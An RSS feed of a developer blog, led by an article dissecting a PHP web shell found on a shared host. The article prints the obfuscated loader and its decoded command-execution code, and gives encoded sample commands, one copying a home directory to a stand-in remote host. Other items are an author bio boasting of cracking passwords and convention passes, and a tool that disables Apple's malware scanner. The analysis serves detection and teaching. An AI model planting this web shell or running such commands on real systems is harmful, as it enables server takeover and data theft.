<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DEV &#187; Tech Articles</title>
	<atom:link href="http://thegothicparty.com/dev/category/article/feed/" rel="self" type="application/rss+xml" />
	<link>http://thegothicparty.com/dev</link>
	<description>Developement notes</description>
	<lastBuildDate>Mon, 31 Oct 2011 06:55:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>How does a server-side virus work? (RAT)</title>
		<link>http://thegothicparty.com/dev/article/server-side-virus-rat/</link>
		<comments>http://thegothicparty.com/dev/article/server-side-virus-rat/#comments</comments>
		<pubDate>Sat, 22 Oct 2011 13:27:25 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=500</guid>
		<description><![CDATA[Q: Have you ever been tempted to look into a computer virus, but were too afraid to proceed in fear of an uncontrolled infection? A: We did. And this is what we found. Not a Virus. A Rat. Sensitive reader Advisory: This article goes into the details of a server-side RAT infestation, and will end [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Server backdoor/RAT" href="http://thegothicparty.com/dev/article/server-side-virus-rat/"><img class="alignleft" title="Server-side virus warning sign" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/warning128.png" alt="" width="128" height="128" border="0" /></a><br />
<span style="color: #ff9900;"><strong>Q:</strong></span> Have you ever been tempted to look into a computer virus, but were too afraid to proceed in fear of an uncontrolled infection?</p>
<p><strong><span style="color: #ff9900;">A:</span></strong> We did. And this is what we found. Not a Virus. A Rat.</p>
<p><strong><span style="color: #ff9900;">Sensitive reader Advisory:</span></strong><br />
This article goes into the details of a server-side RAT infestation, and will end by aforementioned RAT dissection. At the end, you will even be given the opportunity to <span style="color: #ff9900;">TRY&nbsp;THE&nbsp;RAT</span> yourself! (<em>in the confined safety of our lab, of course</em>)</p>
<h2><span id="more-500"></span></h2>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>1. Facts&#8230;</h2>
<ol>
<li>Viruses <span style="text-decoration: underline;">will</span> infect your server (no matter how well protected you are).</li>
<li>If your server is online, you are at risk.</li>
<li>Viruses used to be silly malicious software that could damage your computer. Viruses are now clever malicious meanware that will hurt you and others on a large scale.</li>
<li>knowledge is power. If you know what is coming your way, you may be able to deflect the attack.</li>
</ol>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>2. Reality Check</h2>
<ol>
<li>You (the honest website builder) only have the available tools to protect yourself. We will call that the shield. Them (the malicious hackers) are well aware of the shields you use, their strength, limitations, pitfalls and even bugs. They constantly use smarter, more advanced, distributed technology. Yes, eventually, a better sword will pierce your shield.</li>
<li>If you are the IT manager of a fortune 500 company, bother reading this article not. You already know what I am talking about, and the funds you ditch yearly in security exceeds my lifetime salary a few folds already. For the rest of us, who host our sites on one of the well known providers, it is a different story. Infections cross user accounts, enter via ways we, the host customer, have no defense.</li>
<li>Viruses plaguing servers have various intentions, generally stealing processor time, server&#8217;s bandwidth, server&#8217;s content, and, well, money.</li>
<li>Know how to identify a server virus. This is what this article is about.</li>
</ol>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>3. What&#8217;s a RAT? (R.A.T.)</h2>
<p>RAT stands for <strong>R</strong>emote <strong>A</strong>dministration <strong>T</strong>ool.<br />
<img class="alignleft" title="Chromozome" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat-chromozome.png" alt="" width="200" height="36" />
<div style="clear: both;"><!-- reset --></div>
<p>It is a virus that knows no account limit, no time limit, no power limit. It is an incredibly small file, with incredibly little intelligence. Let me compare 3 classes of viruses to clarify that statement:</p>
<ol>
<li>An old school Trojan is a malicious software which you would install yourself on you machine. It presents itself as a sheep, while it is a wolf. Once you run it, all hell breaks loose. Because you would install it yourself, a Trojan can be a rather large piece of software. You generally would know right away you are infected, only too late.</li>
<li>A traditional Virus is a small software which tucks itself inside another, otherwise harmless software. Hence the name Virus, which implies infecting larger applications (and hiding there), self replicating capabilities, and of course some malicious objective and often disastrous side effects.</li>
<li>a RAT is even smaller than a Virus. Think of it as an inert piece of DNA. It knows nothing, does nothing, can&#8217;t reproduce itself on its own. A RAT by itself is harmless. Launch it an nothing happens. Delete it and no harm is done.</li>
</ol>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>4. Why is a RAT dangerous?</h2>
<p>A RAT gives total control, I repeat, <span style="text-decoration: underline;">total control</span> of your computer (i.e. the server) to a another computer, remotely. That remote computer may be located on Mars for all I know, and reproduce like rabbits, install new software, de-activate your virus protection software, delete files, snoop around, trace your activities, read all your information, etc.<br />
<img class="aligncenter" title="Server-side virus RAT cartoon, copyright Xavier Schott 2011" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/devil.png" alt="" width="489" height="90" />
<div style="clear: both;"><!-- reset --></div>
<p>Quick, think about something your server can do.<br />
Yes, a RAT can do that too. And using <em>your</em> account credentials while it&#8217;s at it.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>5. Will a RAT disable my computer?</h2>
<p>Unlikely. The strength of a RAT is it&#8217;s stealth mode operation. Removing files, compromising your server mode of operation, or being discovered is probably the last thing a RAT will do. That would be a suicidal RAT, but in order to disable a system on a large scale, this is entirely conceivable.</p>
<p>Few secret agents wear the official secret agent outfit (dark glasses, cool hat, long coat, and newspaper to hide behind). RAT is no exception.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>6. Will a RAT make unauthorized use of my server?</h2>
<p>Likely. And others, too. It will send spam, trace transactions, and multiply discreetly. The more RAT around, the harder to eradicate.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>7. Can I protect myself against a RAT?</h2>
<p>If you host your own domain on your own system, possibly. This is beyond the scope of this article.</p>
<p>If you use an external host on a shared computer, this responsibility is shared between you and that host. Your responsibility is to keep your directories non writable when possible, and report suspect files, while the host&#8217;s responsibility is to take immediate action if an infection occurs.</p>
<p>Do not rely on that statement! The reason I am writing this article in the first place is that a national provider has been infected, and while we gave said host all information about the infection, their response was to change our FTP password, randomly, once a week.</p>
<p><em>Let me make that clear. Bleeding a patient <span style="text-decoration: underline;">rarely</span> improves a fever.</em></p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>8. What to do when infected?</h2>
<ol>
<li>rename the suspicious file right away. Do not delete it! If that file was not a RAT, you may permanently damage your own server! Renaming it will give you a chance to reactivate the offending file, if it was not a RAT after all.</li>
<li>Remove it&#8217;s executable permission. Native server RAT will be executable by definition, so that may be a valid method. Know that this may not be enough.</li>
<li>Move it to a different directory. Chances are the remote computer won&#8217;t find it, at least right away</li>
<li>ZIP it! A compressed RAT (or Virus, or Trojan) is, by definition, disabled.</li>
<li><span style="color: #ff9900;">Send that ZIP file to us</span> for analysis ! (<a title="email ZIPPED suspected RAT here" href="mailto:dev@thegothicparty.com">dev@thegothicparty.com</a>). Time permits, we will look at it and suggest appropriate action.</li>
</ol>
<p><img class="alignleft" title="RAT in a jar" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat-jar.png" alt="" width="252" height="78" />
<div style="clear: both;"><!-- reset --></div>
<p>I recommend renaming a potential RAT as your first line of defense.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>9. A RAT dissection</h2>
<p>I will spare you the gory details. Here is a step-by-step analysis of the remote access tool that infected &lt;name withheld&gt; national provider mentioned above.</p>
<h3>9.1. File specifics</h3>
<ul>
<li>Original virus name, as stored on the server:<br />
googlecalendar.php<br />
<em>We had never installed googlecalendar in that well controlled environment, so the presence of that file was rather suspicious.</em></li>
<li>Original virus content, when opened with a text editor:
<pre class="wp-code-highlight prettyprint">
&lt;?php $X=basename(__FILE__); $l=&quot;aWYoJF9QT1NUWyJsaW5rIl0peyRzdW0
9c3Vic3RyKCRfUE9TVFsibGluayJdLCBzdHJsZW4oJF9QT1NUWyJsaW5rIl0pLTQ
sc3RybGVuKCRfUE9TVFsibGluayJdKS0xKTsgaWYoJHN1bT0iMWpYIil7JGxpbms
9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJsaW5rIl0sIDAsIHN0cmxlbig
kX1BPU1RbImxpbmsiXSktNCkpOyBAc3lzdGVtKCRsaW5rKTt9fQ==&quot;; eval(bas
e64_decode($l)); ?&gt;</pre>
</li>
</ul>
<h3>9.2. <font color="#008800">aWYoJF9QT1N&#8230; etc.</font> what? English please.</h3>
<p>Substituting the stream of evidently obfuscated 276 characters by <font color="#008800">&#8220;obfuscated&#8221;</font>, adding some formatting, and some comments:</p>
<pre class="wp-code-highlight prettyprint">
&lt;?php                         // Execute the following PHP script
    $X=basename(__FILE__);    // Store where we're at into $X
    $l=&quot;obfuscated&quot;;          // Put some {magic} into $l
    eval(                     // execute the {magic}
        base64_decode($l)     // decode &quot;obfuscated&quot;
    );
?&gt;</pre>
<p>The <span style="text-decoration: underline;">eval</span> command is the danger here, and replacing <span style="text-decoration: underline;">eval</span> by <span style="text-decoration: underline;">echo</span> and merely executing the PHP script transforms &#8220;obfuscated&#8221; into this dangerous algorightm:</p>
<pre class="wp-code-highlight prettyprint">if($_POST[&quot;link&quot;]){$sum=substr($_POST[&quot;link&quot;], strlen($_POST[&quot;li
nk&quot;])-4,strlen($_POST[&quot;link&quot;])-1); if($sum=&quot;1jX&quot;){$link=base64_d
ecode(substr($_POST[&quot;link&quot;], 0, strlen($_POST[&quot;link&quot;])-4)); @sys
tem($link);}}</pre>
<p>Almost there!</p>
<h3>9.3. Here is the formatted source code&#8230;</h3>
<p>Reversed-engineered by our good people at the lab, conveniently indented and commented, it turns out to be a well written piece of code, which will execute without flaws. Dynamic commands can be generated remotely, executed by the RAT, and the results sent back to the originating organization.</p>
<div style="text-align: left;">
<pre class="wp-code-highlight prettyprint">
if( $_POST[&quot;link&quot;]) {  // Retrieve the link parameter in the URL
                       // In this RAT, it will look like this:
                       // {yourserver}/googlecalendar.php?link={magic}
    $sum=substr( $_POST[&quot;link&quot;],
                 strlen($_POST[&quot;link&quot;])-4,
                 strlen($_POST[&quot;link&quot;])-1);
                       // extract a signature from &amp;lt;magic&amp;gt;
                       // It is made up of 3 characters at the end
    if( $sum=&quot;1jX&quot;) {
                       // If the signature matches, then decode it
                       // using MIME base64.
                       // Note that the hacker permanently hardcoded
                       // the signature as &quot;1jx&quot;
        $link=base64_decode( substr($_POST[&quot;link&quot;],
                             0,
                             strlen($_POST[&quot;link&quot;])-4));
                       // convert {magic} (minus the signature)
                       // into a command. There is no further
                       // verification that this command is valid.
        @system($link);
                       // use @ to suppress error, warnings and
                       // order the system to execute the command!
    }
}</pre>
</div>
<h3>9.4. How to find this virus on your system?</h3>
<p><img class="alignleft" title="dead computer" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/dead-computer.png" alt="" width="107" height="53" />
<div style="clear: both;"><!-- reset --></div>
<div>Bother not looking for the filename. Instead, trust that this RAT encodes/decodes previously base64 encoded string, so execute a grep as folow and inspect the result.</div>
<pre class="wp-code-highlight prettyprint">
[~] grep -r &quot;base64_decode&quot; .</pre>
<p>RAT &#8211; Dead.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>10. <span style="color: #ff9900;">Experiment</span> with the RAT</h2>
<p>Disclaimer: <em>The RAT you are about to try is, well, in a coma. It will analyze the parameters you are sending, and stop short of executing the command. The result will be displayed in a new window. Neither you nor the server hosting thegothicparty.com is at risk.</em></p>
<h3>10.1. Here are some RAT commands ready to try:</h3>
<ol>
<li><a href="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat.php?link=bHMgLWFs1jx=" target="_rat">bHMgLWFs1jx=</a><br />
(List the content of the current directory)</li>
<li><a href="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat.php?link=Y2htb2QgIHggZmlsZQ==1jx=" target="_rat">Y2htb2QgIHggZmlsZQ==1jx=</a><br />
(Make a file executable, so it can be run)</li>
<li><a href="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat.php?link=c2NwIC1yIH4gdGhpZWZAc29tZS5sb2NhdGlvbi5vbi5tYXJz1jx=" target="_rat">c2NwIC1yIH4gdGhpZWZAc29tZS5sb2NhdGlvbi5vbi5tYXJz1jx=</a><br />
(Copy the entire user directory to a remote location)</li>
</ol>
<p><img class="alignleft" title="Failed experiment" src="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/failed-experiment.png" alt="" width="262" height="79" />
<div style="clear: both;"><!-- reset --></div>
<h3>10.2. Create your own RAT commands and try them out!</h3>
<p>Use this URL to create a Linux command, encode it in base 64, add the password, and then feed the result to the RAT!</p>
<ol>
<li>Substitute {your-command} by, well, your command.
<p><a href="http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/base64.php?raw={your-command}" target="_raw">http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/base64.php?raw={your-command}</a></li>
<li>Now that you have an encoded command, us it to invoke the RAT
<p>http://thegothicparty.com/dev/wp-content/extras/server-side-virus-rat/rat.php?link={encoded-command}</li>
</ol>
<p>If you succeed, you will get to a page that says &#8220;@system(do-something-horrible)&#8221;, which in the original RAT could have had disastrous effects. Good thing you are in the lab!</p>
<p>This makes you a hacker, I think&#8230;</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /></div>
<div style="clear: both;"><!-- reset --></div>
<h2>11. About the Author</h2>
<p>I have written shield and swords for as long as I have been developing software. In reverse order, here are some interesting swords:</p>
<ol>
<li>Cracked some authentication method used by &lt;name withheld&gt; convention, and came out with about 70 free passes overnight. Paid full price for the entry fee, then re-entered &lt;name withheld&gt; convention with one of the free code, and proceeded to distribute my resume to security companies in order to land a job as a legal hacker, finding cracks in their system in order to improve it. Some simply kicked me out of their stand, some were both intimidated and scared, and no-one called me back.</li>
<li>Cracked the user&#8217;s password for &lt;name withheld&gt; who had lost access to his online service information. Connected a computer to his network, made my computer act as a host (to which his computer blindly trusted), led his software think it was communicating with a distant server.</li>
<li>Cracked the administrative password for &lt;name withheld&gt;, an accounting software, while the company&#8217;s accountant had been fired and was nowhere to be found. Created 2 new fresh installation of said software, with 2 carefully chosen set of data, and diff&#8217;ed the two. The password was the name of his girfriend, and the company that ordered the work never paid as promised.</li>
<li>Cracked some other &lt;name withheld&gt; applications which are too sensitive to reveal here.</li>
</ol>
<p>And here is a list of the most famous shields I wrote:</p>
<ol>
<li>&lt;name withheld&gt;</li>
<li>&lt;name withheld&gt;</li>
<li>etc.</li>
</ol>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/server-side-virus-rat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mac OS X Kill Dashboard</title>
		<link>http://thegothicparty.com/dev/article/kill-dashboard/</link>
		<comments>http://thegothicparty.com/dev/article/kill-dashboard/#comments</comments>
		<pubDate>Thu, 28 Jul 2011 22:18:26 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=673</guid>
		<description><![CDATA[The MacOS X Dashboard can be invoked by a single keystroke, or launched from the Dock. While the Dashboard is a handy utility, reminiscent of Apple Desk Accessories and strongly inspired from Konfabulator, you can&#8217;t quit the darn thing. Until now(*). &#160; 1. What is Mac OS X Kill Dashboard Kill Dashboard is a clever [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Kill Dashboard" href="http://thegothicparty.com/dev/article/kill-dashboard/"><img class="alignleft" style="border: 0pt none; margin-left: 10px; margin-right: 10px;" title="Mac OS X Kill Dashboard" src="http://thegothicparty.com/dev/wp-content/extras/killdashboard/MacOS_X_Kill_Dashboard.png" alt="" width="128" height="128" border="0" /></a>The MacOS X Dashboard can be invoked by a <a title="Using Dashboard" href="http://support.apple.com/kb/HT1343">single keystroke</a>, or launched from the Dock.</p>
<p>While the Dashboard is a handy utility, reminiscent of <a title="Desk Accessories" href="http://en.wikipedia.org/wiki/Desk_Accessory#Apple_Macintosh">Apple Desk Accessories</a> and strongly inspired from <a title="Konfabulator, rebranded by Yahoo!" href="http://widgets.yahoo.com/">Konfabulator</a>, <span style="text-decoration: underline;">you can&#8217;t quit</span> the darn thing. Until now(*).</p>
<p><span id="more-673"></span></p>
<div style="clear: both;">&nbsp;</div>
<h2>1. What is Mac OS X Kill Dashboard</h2>
<p>Kill Dashboard is a clever utility that will reclaim your memory and your processor cycles, save on electric bill and battery usage. Dashboard starts quickly enough, I do not see the point of keeping it around when unused, wasting energy and resources away.</p>
<ul>
<li>To kill the Dashboard, click on Kill Dashboard from the Dock.</li>
<li>To open the Dashboard, use your current favorite method.</li>
</ul>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>2. <em>Kill Dashboard</em> Download.</h2>
<p>Unlike the legendary iPhone and iPad Apps available from <a href="http://thegothicparty.com">TheGothicParty</a>, <em>Kill Dashboard</em> is free. <a title="Download Mac OS X Kill Dashboard now" href="http://thegothicparty.com/dev/wp-content/extras/download/killdashboard/KillDashboardv1.0.dmg.zip">Download now</a>, enjoy, and post a comment.</p>
<p style="padding-left: 120px;"><a href="http://thegothicparty.com/dev/wp-content/extras/download/killdashboard/KillDashboardv1.0.dmg.zip"><img class="alignleft" style="border: 0pt none;" title="Download Kill Dashboard" src="http://thegothicparty.com/dev/wp-content/extras/killdashboard/MacOS_X_Kill_Dashboard.256.jpg" alt="" width="256" height="256" /></a></p>
<div style="clear: both;">&nbsp;</div>
<p>Tech talk:</p>
<ul>
<li>The size of the installer is 106938 bytes (104K)</li>
<li>The MD5 checksum of the installer <em>Kill Dashboard v1.0.dmg</em>is
<pre class="wp-code-highlight prettyprint">83adaf49b68620fead537f03000519a9</pre>
</li>
<li>The source code is available under GPL on <a title="Kill Dashboard source code" href="https://www.assembla.com/code/thegothicparty/subversion/nodes/trunk/killDashboard">Assembla</a></li>
</ul>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>3. Installation Instruction</h2>
<p>Drag and drop!<br />Kill Dashboard is a Mac OS X Application.</p>
<p>My recommendation is to place Kill Dashboard either to the right of the Dashboard in the Dock (as shown below), or replacing it entirely.</p>
<p style="padding-left: 35px;"><img class="alignleft" style="border: 10pt none;" title="Download Kill Dashboard" src="http://thegothicparty.com/dev/wp-content/extras/killdashboard/Kill-Dashboard-Dock.jpg" alt="" width="464" height="115" /></p>
<div style="clear: both;">&nbsp;</div>
<h3>System Requirements:</h3>
<ul>
<li>Mac OS X version 10.4, 10.5, 10.6 or higher</li>
</ul>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" />&nbsp;</div>
<p>(*) <em>There is this <a title="DashQuit" href="http://www.apple.com/downloads/dashboard/status/dashquit.html" >Dashboard Widget</a> which allows you to quit it. Good if you want to launch the Dashboard to make sure it quits. A bit like sawing the branch upon which you are sitting, I suppose.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/kill-dashboard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mac OS X Malware Removal Tool Removal Tool</title>
		<link>http://thegothicparty.com/dev/article/malware-removal-tool/</link>
		<comments>http://thegothicparty.com/dev/article/malware-removal-tool/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 10:21:54 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=614</guid>
		<description><![CDATA[Q: &#8221;I installed the Apple Security Update that was made available today. Now, I have constant high CPU from a process called &#8216;MRT&#8217;.&#8221; Short Answer: Use MRT Removal Tool. Problem solved. Long Answer:  Mac OS X version 10.6.7, together with Security Update 2011-003 or Mac OS X version 10.6.8 come with a new crawling software named [...]]]></description>
			<content:encoded><![CDATA[<p><a title="MRT Removal Tool" href="http://thegothicparty.com/dev/article/malware-removal-tool/"><img class="alignleft" title="Malware Removal Tool removal tool" src="http://thegothicparty.com/dev/wp-content/extras/mrtrt/Malware-Removal-Tool-removal_tool.png" alt="" width="128" height="128" border="0"/></a></p>
<p><strong>Q:</strong> &#8221;I installed the Apple Security Update that was made available today. Now, I have constant high CPU from a process called &#8216;MRT&#8217;.&#8221;</p>
<p><strong>Short Answer:</strong> Use <em><strong>MRT Removal Tool</strong></em>. Problem solved.</p>
<p><strong>Long Answer:</strong>  Mac OS X version 10.6.7, together with Security Update 2011-003 <em>or</em> Mac OS X version 10.6.8 come with a new crawling software named Malware Removal Tool, <strong>MRT</strong> for short. On some computers, MRT consumes a staggering amount of resources, causing the the machine to become unresponsive, the battery to drain, the computer to overheat, and pretty much come to a halt. This apparently affects the MacBook Pro particularly badly.</p>
<p><span id="more-614"></span></p>
<p>See <a title="Constant high CPU after Security Update" href="https://discussions.apple.com/thread/3091345?start=45&amp;tstart=0">discussions.apple.com</a> about others rather unhappy about the MRT. I have added my own comments below.<br />
Read <a title="OS X 10.6 showing high CPU usage after Security Update" href="http://reviews.cnet.com/8301-13727_7-20068278-263/os-x-10.6-showing-high-cpu-usage-after-security-update/">reviews.cnet.com</a> and <a title="Apple cracks down on MacDefender, prevents malware downloads with daily quarantine list" href="http://bannediphone.com/threads/apple-cracks-down-on-macdefender-prevents-malware-downloads-with-daily-quarantine-list.23062/">bannediphone.com</a> for further development.</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>1. Introducing <em>MRT Removal Tool</em></h2>
<p><em>Malware Removal Tool removal tool</em> (<strong>MRT Removal Tool</strong> for short) is a simple utility that permanently disconnect Apple&#8217;s MRT. Run it once ; you are done.<br />
Until the next software update, I suppose.</p>
<h3>A note of caution:</h3>
<ol>
<li>There is no way to reconnect Apple&#8217;s MRT, once you run <em>MRT Removal Tool</em>.</li>
<li>MRT Removal Tool comes with the usual guaranties when it comes to software: none.</li>
<li>Because Apple&#8217;s MRT is tucked away in the OS, you will need to enter your password.</li>
<li>Do not trust any old software with your password. Only <em>MRT Removal Tool</em> available <a title="Download MRT Removal Tool now" href="http://thegothicparty.com/dev/wp-content/extras/download/mrtrt/MRTRemovalTool10.6.8.dmg.zip">at this location</a> can be trusted.</li>
</ol>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>2. What is Apple Malware Removal Tool (MRT) anyway?</h2>
<p>Beats me(*).<br />
All I can see is that it is very actively scanning my hard drive for content, not informing me (the user) about it&#8217;s intentions, what it&#8217;s looking for, what is sent back to Apple, nor any action taken.</p>
<p>This may be paranoia, but atop using up to 95% of my computer power and bringing it to a halt (my mouse was barely responding), I can&#8217;t even remember when I last had a virus on OS 9. I vividly remember when I last had a virus on OS X: never.</p>
<p>If you share that opinion, then <em>MRT-rt</em> is for you. Otherwise, I suggest to go back to the search engine and proceed to further investigations.</p>
<p>Unlike the mostly invisible Apple MRT for the rest of us (no notification in the Dock, no little flashy icon in the menu bar, no confirmation message) <em>MRT Removal Tool</em> is an application you can launch yourself. On an ironic note, I wonder if the next version of MRT will remove <em>MRT-rt</em> ; in which case I guess I can always come up with an <em>MRT-rt-rt</em> !</p>
<p>(*) Well, not entirely. It has its value, like hunting down trojans such as MacDefender. However, it seems to do so in a coarse, inefficient and brute-force manner, not unlike early versions of Spotlight. So if you have been fooled by trojans in the past, you may want to bite the bullet and not remove MRT. What saved you once may save you again!</p>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>3. <em>MRT Removal Tool</em> Download.</h2>
<p>Unlike some other great software available from <a href="http://thegothicparty.com">TheGothicParty</a>, <em>Malware Removal Tool removal tool</em> is free. <a title="Download MRT Removal Tool now" href="http://thegothicparty.com/dev/wp-content/extras/download/mrtrt/MRTRemovalTool10.6.8.dmg.zip">Download now</a>, and post a comment.</p>
<p style="padding-left: 120px;"><a href="http://thegothicparty.com/dev/wp-content/extras/download/mrtrt/MRTRemovalTool10.6.8.dmg.zip"><img class="alignleft" title="Download Malware Removal Tool removal tool" src="http://thegothicparty.com/dev/wp-content/extras/mrtrt/Malware-Removal-Tool-removal_tool.png" alt="" width="256" height="256" /></a></p>
<div style="clear: both;">&nbsp;</div>
<p>Tech talk:</p>
<ul>
<li>The size of the installer is 96684 bytes (94K)</li>
<li>The MD5 checksum of the installer <em>Malware Removal Tool removal tool.dmg</em>is
<pre class="wp-code-highlight prettyprint">614581f1286833b7f001fac6cdee92f2</pre>
</li>
<li>The source code is available under GPL on <a title="MRTRemovalTool source code" href="https://www.assembla.com/code/thegothicparty/subversion/nodes/trunk/mrtRemovalTool">Assembla</a></li>
</ul>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />&nbsp;</div>
<h2></h2>
<h2>4. Installation Instruction</h2>
<p>There is no need to install it per say.<br />
You can run <em>MRT Removal Tool</em> directly from the Disk Image. No need to drag it anywhere or even to keep it around. It needs to run but once, and will not install anything on your hard drive. Double-click, enter your password, you are done. Restart, and MRT begone.</p>
<h3>System Requirements:</h3>
<ul>
<li>Mac OS X version 10.6.7, together with Security Update 2011-003</li>
<li>Mac OS X version 10.6.8</li>
</ul>
<div><img class="alignleft" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" />&nbsp;</div>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/malware-removal-tool/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Software crash on LandingGear-&gt;Deploy()</title>
		<link>http://thegothicparty.com/dev/article/software-crash-on-landing/</link>
		<comments>http://thegothicparty.com/dev/article/software-crash-on-landing/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 08:58:03 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=357</guid>
		<description><![CDATA[Referencing and de-referencing objects in an Object Oriented Environment can be a challenge.These are real life examples; the names of the objects have been changed to preserve the identity of the victims. Please fasten your seat belt. When I take an airplane, I cannot help but think of all the poor programming practices I have [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://thegothicparty.com/dev/article/software-crash-on-landing/"><img style="border: 0pt none;" title="Software crash on LandingGear-&gt;Deploy()" src="http://yuml.me/diagram/scruffy/class/[Airplane]." alt="" /></a>Referencing and de-referencing objects in an Object Oriented Environment can be a challenge.<br />These are real life examples; the names of the objects have been changed to preserve the identity of the victims. Please fasten your seat belt.</p>
<div style="clear: both;"><!-- reset --></div>
<blockquote><p>When I take an airplane, I cannot help but think of all the poor programming practices I have witnessed -some committed by myself- over the years. I often wonder if the on-board computers have been programmed by my earlier engineering peers.</p></blockquote>
<p><span id="more-357"></span></p>
<h2>1. A short Object Oriented Programming Refresher</h2>
<h3>1.1 Object Inheritance</h3>
<p>Say you have three classes. An airplane, a commercial airliner and a private jet. We can all agree that both the jet and the airliner are kinds of airplanes.<br />
<img src="http://yuml.me/diagram/scruffy/class/[Airplane]^[Private Jet], [Airplane]^[Commercial Airliner]." alt="" /></p>
